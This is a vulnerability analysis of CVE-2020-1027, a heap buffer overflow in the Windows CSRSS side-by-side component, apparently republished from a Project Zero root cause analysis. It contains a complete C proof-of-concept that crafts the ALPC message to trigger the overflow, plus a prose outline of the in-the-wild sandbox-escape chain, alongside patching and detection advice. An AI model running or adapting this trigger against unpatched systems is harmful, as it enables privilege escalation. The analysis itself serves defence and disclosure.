CVE-2020-1027: Windows CSRSS Heap Buffer Overflow and Sandbox Escape

CVE-2020-1027: Windows CSRSS Heap Buffer Overflow and Sandbox Escape

Original text: “CVE-2020-1027: Windows buffer overflow in CSRSS”Sergei Glazunov, 0-days In-the-Wild / Google Project Zero (January 12, 2021). Code blocks and structural definitions are reproduced verbatim with attribution captions.

Executive Summary

CVE-2020-1027 is a heap buffer overflow in the side-by-side (SxS) assembly component of the Windows Client/Server Runtime Subsystem (CSRSS). The vulnerable function sxssrv!BaseSrvSxsCreateActivationContext parses XML application manifests received over ALPC from any user-mode process, including sandboxed browser renderers. The root cause is a missing bounds check on the MaximumLength field of a UNICODE_STRING member inside the IPC message: the handler correctly validates that Buffer + Length stays within the IPC buffer, but never caps MaximumLength to a server-side safe value. A downstream function in sxs.dll later uses that unchecked field as the guard for a memcpy, giving an attacker full control over source address, destination address, and copy length — a powerful heap overflow primitive reachable with no elevated privileges.

The vulnerability was actively exploited in the wild paired with the Chrome renderer 0-day CVE-2020-6418, forming a complete browser sandbox escape chain targeting Windows 10. For older Windows versions the threat actor substituted CVE-2020-1020 and CVE-2020-0938 as the privilege escalation stage, demonstrating broad OS coverage. Google’s Project Zero and Threat Analysis Group discovered the active exploitation; Sergei Glazunov performed the root cause analysis. Microsoft patched the issue in the April 2020 Patch Tuesday (KB4549951). All Windows versions from 7 through 10 prior to that patch are affected.

The Basics

  • Product: Microsoft Windows
  • Affected versions: Windows 7 – Windows 10, all builds prior to the April 2020 Patch Tuesday
  • First patched version: Windows 10 1909/1903 — KB4549951 (April 14, 2020)
  • Reporter(s): Google Project Zero and Threat Analysis Group
  • Initial advisory: ADV200006 (March 23, 2020, no technical details)
  • Security bulletin: CVE-2020-1027 — April 14, 2020
  • Bug class: Heap buffer overflow (CWE-122)

The Code

The following proof-of-concept triggers the vulnerability. It resolves three undocumented NTDLL exports — CsrAllocateCaptureBuffer, CsrClientCallServer, and CsrCaptureMessageString — constructs the raw IPC message for CSRSS API 0x10017 (activation context creation), and deliberately sets the MaximumLength field of the ApplicationName string at offset 0x122 in the message to 0x8000, bypassing the absent server-side cap and triggering the overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity.

#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>

const char* MANIFEST_CONTENTS =
    "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
    "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
    "<assemblyIdentity name='@' version='1.0.0.0' type='win32' "
    "processorArchitecture='amd64'/>"
    "</assembly>";

const WCHAR* NULL_BYTE_STR = L"\x00\x00";
const WCHAR* MANIFEST_NAME =
  L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"
  L"d761caeca23d64a2.manifest";
const WCHAR* PATH = L"\\\\.\\c:Windows\\";
const WCHAR* MODULE = L"System.Data.SqlXml.Resources";

typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
                                                     ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;

typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
                                                   PVOID CaptureBuffer,
                                                   ULONG ApiNumber,
                                                   ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;

typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
                                                       PCSTR String,
                                                       ULONG Length,
                                                       ULONG MaximumLength,
                                                       PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;

NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
                              PCWSTR String, ULONG Length = 0) {
  if (Length == 0) {
    Length = lstrlenW(String);
  }
  return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
                                 Length * 2 + 2, OutputString);
}

int main() {
  HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");
  CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
      Ntdll, "CsrAllocateCaptureBuffer");
  CsrClientCallServer =
      (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");
  CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
      Ntdll, "CsrCaptureMessageString");

  char Message[0x220];
  memset(Message, 0, 0x220);

  PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);

  std::string Manifest = MANIFEST_CONTENTS;
  Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');

  // There's no public definition of the relevant CSR_API_MSG structure.
  // The offsets and values are taken directly from the exploit.
  *(uint32_t*)(Message + 0x40) = 0xc1;
  *(uint16_t*)(Message + 0x44) = 9;
  *(uint16_t*)(Message + 0x59) = 0x201;

  // CSRSS loads the manifest contents from the client process memory;
  // therefore, it doesn't have to be stored in the capture buffer.
  *(const char**)(Message + 0x80) = Manifest.c_str();
  *(uint64_t*)(Message + 0x88) = Manifest.size();
  *(uint64_t*)(Message + 0xf0) = 1;

  CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
  CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
  CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
  CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);

  // Triggers the issue by setting ApplicationName.MaxLength to a large value.
  *(uint16_t*)(Message + 0x122) = 0x8000;

  CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}

The Vulnerability

The IPC message processed by sxssrv!BaseSrvSxsCreateActivationContext contains several UNICODE_STRING members. UNICODE_STRING is a standard Windows mutable string structure that carries both a current-length field and a separate capacity field:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

For each string parameter, the handler validates that Buffer + Length does not extend past the end of the IPC buffer — a correct check preventing out-of-bounds reads. However, no equivalent check is applied to MaximumLength. When execution reaches sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity, the unchecked MaximumLength value determines whether a memcpy call is permitted, because one of the strings (at offset 0x120 from the beginning of the IPC message on Windows 10.0.18363.959) is reused as an output parameter:

IdentityNameBuffer = 0;
IdentityNameLength = 0;
 
SetLastError(0);
if (!SxspGetAssemblyIdentityAttributeValue(0, v11, &s_IdentityAttribute_name,
                                           &IdentityNameBuffer, &IdentityNameLength)) {
    CallSiteInfo = off_16506FA20;
    goto error;
}

if (IdentityNameLength && IdentityNameLength < Context->ApplicationNameCapacity) {
    memcpy(Context->ApplicationNameBuffer, IdentityNameBuffer, 2 * IdentityNameLength + 2);
    Context->ApplicationNameLength = IdentityNameLength;
} else {
    *Context->ApplicationNameBuffer = 0;
    Context->ApplicationNameLength = 0;
}

Context->ApplicationNameCapacity derives directly from the attacker-supplied MaximumLength. Because no server-side bound is enforced, setting MaximumLength to 0x8000 causes the guard IdentityNameLength < Context->ApplicationNameCapacity to always pass, yielding a memcpy with fully attacker-controlled source buffer, destination buffer, and copy length. This grants a heap buffer overflow primitive with both content and size under attacker control. The bug class is auditable via manual review of all CSRSS ALPC handlers that accept UNICODE_STRING from client processes.

The Exploit

The in-the-wild exploit paired CVE-2020-1027 with CVE-2020-6418 (Chrome renderer) to form a complete sandbox escape. The privilege escalation stage proceeds in three phases:

  1. Write-what-where from heap corruption: The overflow overwrites the contents of adjacent _MY_XML_NODE_INFO objects on the heap, converting the raw overflow into a controlled arbitrary write primitive.
  2. PEB_LDR_DATA corruption: The write primitive overwrites the module list head in PEB_LDR_DATA, replacing the genuine linked list with a crafted fake module list.
  3. CFG bypass and ROP: The fake module list initiates a code-reuse attack. Control Flow Guard (CFG) constrains the attacker to calling existing exported functions with one controlled argument; nevertheless, this is sufficient to bypass CFG and pivot into a conventional ROP chain completing the privilege escalation.

For older Windows versions, the threat actor maintained parallel LPE gadgets (CVE-2020-1020 and CVE-2020-0938) in place of CVE-2020-1027, indicating an organized multi-version exploit portfolio designed for broad OS coverage.

The Next Steps

Variant Analysis

The recommended variant hunting approach is a systematic manual review of all CSRSS routines that accept UNICODE_STRING fields from client processes via ALPC. Any handler that validates Buffer + Length but does not independently clamp MaximumLength to a server-enforced maximum is a candidate for the same bug class. No variants were found by Project Zero during their post-disclosure review.

Structural Improvements

Since CVE-2020-1027 was exploited exclusively from a browser sandbox, the most impactful structural fix is blocking ALPC communication between CSRSS and sandboxed processes entirely. Sandboxed renderers have no legitimate need to call BaseSrvSxsCreateActivationContext; removing that channel at the sandbox policy layer eliminates the attack surface for this bug class regardless of further latent implementation bugs.

0-day Detection Methods

This is a classical heap buffer overflow; a memory sanitizer (AddressSanitizer or Windows HeapSan) applied to CSRSS during development or fuzzing would have detected the overflow at first exploit attempt. The detection gap was the absence of memory-safety tooling on this high-privilege process.

Key Takeaways

  • A single missing bounds check on UNICODE_STRING.MaximumLength in one CSRSS ALPC handler exposed a fully controlled heap overflow reachable from any Windows user-mode process — including browser sandboxes — with no elevated privileges required.
  • The partial validation pattern — checking Length but ignoring MaximumLength — is a recurring IPC vulnerability class; every field of an untrusted structure must be independently validated server-side.
  • The exploit chain went: heap overflow → write-what-where via _MY_XML_NODE_INFO corruption → PEB_LDR_DATA module list poisoning → CFG bypass → ROP chain → full LPE.
  • CFG provided meaningful friction but was not a hard barrier: a single-argument call to an existing export was sufficient to bootstrap a CFG bypass, underscoring that CFG alone is insufficient against a determined attacker with a strong memory primitive.
  • The threat actor maintained parallel LPE exploit chains (CVE-2020-1020, CVE-2020-0938) targeting older Windows versions alongside CVE-2020-1027, demonstrating the engineering depth of sophisticated persistent threat actors.
  • A 22-day gap existed between the initial advisory (March 23) and the full patch (April 14, 2020), during which active exploitation continued with no public technical details to assist defenders.
  • Memory sanitizers applied to CSRSS during development would have caught this trivially; the vulnerability class is entirely preventable with standard tooling applied to high-privilege system processes.

Defensive Recommendations

  • Apply vendor patches: Install the April 2020 Patch Tuesday update (KB4549951 for Windows 10 1909/1903, equivalent KB for other builds). Every Windows 7–10 system prior to this patch is exposed.
  • Enforce server-side bounds on all IPC struct fields: When writing or auditing ALPC/LPC/RPC handlers that consume UNICODE_STRING or similar variable-length structures, clamp every field — Length, MaximumLength, buffer pointer offset — against a server-controlled safe maximum. Never trust the client’s capacity claim.
  • Instrument high-privilege processes with memory sanitizers: Fuzz CSRSS and similar system processes under ASan or HeapSan. The first exploit attempt against this bug would have produced an immediate sanitizer crash; the gap was simply the absence of tooling.
  • Block sandbox-to-CSRSS ALPC in browser policies: Browser sandbox policies and Windows sandbox policy layers should block renderer access to BaseSrvSxsCreateActivationContext and all CSRSS SxS APIs. This eliminates the attack surface class at the architectural level.
  • Layer exploit mitigations: Confirm CFG, CET (where available), ASLR, and Segment Heap are active across all privilege boundaries. Layered mitigations materially increase the cost and fragility of exploit chains even when no single mitigation is a complete barrier.
  • EDR rule: sandboxed process ALPC to csrss.exe: Create a detection rule that alerts when chrome.exe or msedge.exe renderer child processes send ALPC messages to csrss.exe. Normal renderer operation does not require SxS activation context creation; any such traffic is a high-confidence exploitation indicator.
  • UNICODE_STRING variant scan: Write a Semgrep or CodeQL rule flagging any use of UNICODE_STRING.MaximumLength in server-side IPC code without a preceding server-enforced bounds check, and run it across the CSRSS and Win32k server source trees.

Conclusion

CVE-2020-1027 demonstrates the asymmetric risk that a single omitted bounds check in a privileged IPC handler can deliver to an attacker: from one missing field validation in CSRSS they obtained a fully controlled heap overflow reachable from inside a browser sandbox, which they weaponized into a complete privilege escalation via PEB_LDR_DATA corruption and ROP. The bug class is not exotic — it is the well-known partial validation of a standard structure — and it would be caught trivially by a memory sanitizer or a targeted lint rule. Preventing this category requires consistent memory-safety tooling applied to system processes, principled IPC surface reduction for sandboxed contexts, and complete field-level validation of every inbound data structure, not just the fields that appear in the obvious fast path.

Original text: “CVE-2020-1027: Windows buffer overflow in CSRSS” by Sergei Glazunov at 0-days In-the-Wild / Google Project Zero.

Comments are closed.